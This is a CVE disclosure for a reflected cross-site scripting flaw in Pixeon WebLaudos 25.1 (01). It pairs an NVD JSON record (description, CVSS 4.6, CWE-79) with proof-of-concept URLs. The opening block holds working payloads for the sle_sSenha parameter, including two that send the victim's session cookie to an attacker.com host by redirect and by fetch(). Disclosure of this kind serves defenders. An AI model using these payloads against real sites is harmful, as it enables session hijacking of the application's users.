CVE-2025-63243

<!-- CVE-2025-63243 PoC - Reflected XSS in Pixeon WebLaudos loginAlterarSenha.asp --> <!-- Target: Pixeon WebLaudos 25.1 (01) --> <!-- Parameter: sle_sSenha --> <!-- Basic XSS PoC --> https://[TARGET]/loginAlterarSenha.asp?sle_sSenha=<script>alert(document.cookie)</script>&sle_sLogin=test <!-- Cookie Stealing PoC --> https://[TARGET]/loginAlterarSenha.asp?sle_sSenha=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>&sle_sLogin=test <!-- Session Hijacking PoC --> https://[TARGET]/loginAlterarSenha.asp?sle_sSenha=<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">&sle_sLogin=test <!-- Note: Replace [TARGET] with actual vulnerable server hostname --> <!-- Requires victim interaction (clicking the malicious link) -->

{"cve": {"id": "CVE-2025-63243", "sourceIdentifier": "[email protected]", "published": "2025-11-19T15:15:50.743", "lastModified": "2026-01-12T16:12:01.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability exists in the password change functionality of Pixeon WebLaudos 25.1 (01). The sle_sSenha parameter to the loginAlterarSenha.asp file. An attacker can craft a malicious URL that, when visited by a victim, causes arbitrary JavaScript code to be executed in the victim's browser within the security context of the vulnerable application. This issue could allow attackers to steal session cookies, disclose sensitive information, perform unauthorized actions on behalf of the user, or conduct phishing attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pixeon:weblaudos:25.1_\\(01\\):*:*:*:*:*:*:*", "matchCriteriaId": "C35085A5-9AF5-4F7D-88DD-4075D4AF433E"}]}]}], "references": [{"url": "https://medium.com/@wagneralves_87750/cve-2025-63243-reflected-cross-site-scripting-in-loginalterarsenha-asp-via-sle-slogin-parameter-53808fbbeeee", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.pixeon.com/", "source": "[email protected]", "tags": ["Product"]}]}}